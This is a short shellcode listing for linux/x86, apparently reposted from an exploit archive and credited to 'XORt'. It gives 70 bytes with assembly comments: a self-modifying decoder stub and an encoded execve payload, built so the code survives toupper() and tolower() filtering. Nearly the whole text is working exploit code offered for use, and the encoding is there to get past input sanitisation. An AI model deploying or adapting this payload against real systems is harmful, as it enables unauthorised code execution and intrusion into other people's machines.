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linux/x86 Radically Self Modifying Code 70 bytes
[================================================ linux/x86 Radically Self Modifying Code 70 bytes ================================================ /*-------------------------------------------------------*/ /* Radically Self Modifying Code for surviving */ /* toupper() and tolower() */ /* */ /* 70byte execve & _exit() code by XORt */ /*-------------------------------------------------------*/ "\xeb\x12" /* jmp $0x12 */ "\x5e" /* pop %esi */ /*-set-up-loop-counter-and-ajust-shellcode-pointer-------*/ "\x31\xc9" /* xor %ecx, %ecx */ "\xb1\x0b" /* mov $0xb, %cl */ "\xff\xc6" /* inc %esi */ /*-the-loop----------------------------------------------*/ "\x81\x06\x5b\x2d\xd0\xcb" /* addl $0xcbd02d5b, (%esi) */ "\xad" /* lodsl */ "\xe2\xf7" /* loop -$0x9 */ /*--jump-into-shellcode----------------------------------*/ "\xeb\x05" /* jmp $0x5 */ "\xe8\xe9\xff\xff\xff" /* call -$0x17 */ /*--------------------------------------------[bytes:25]-*/ // // /*--the-shellcode----------------------------------------*/ "\xeb" /* --then encoded shellcode-- */ "\xc4\x30\xb9\xaa" /* */ "\xad\x03\xf0\xbc" /* */ "\xeb\xd9\xb8\x7a" /* */ "\xb1\x82\x3b\xbd" /* */ "\x98\x60\x7e\x3c" /* */ "\x32\x29\x3c\x01" /* */ "\x25\x04\x0b\xbe" /* */ "\x7d\x13\xfd\xb4" /* */ "\x8d\xaf\x2f\x34" /* */ "\xa4\x02\x92\x9d" /* */ "\x13\x02\xa3\x9c"; /* */ /*--------------------------------------------[bytes:45]-*/ # 0day.today [2024-12-24] #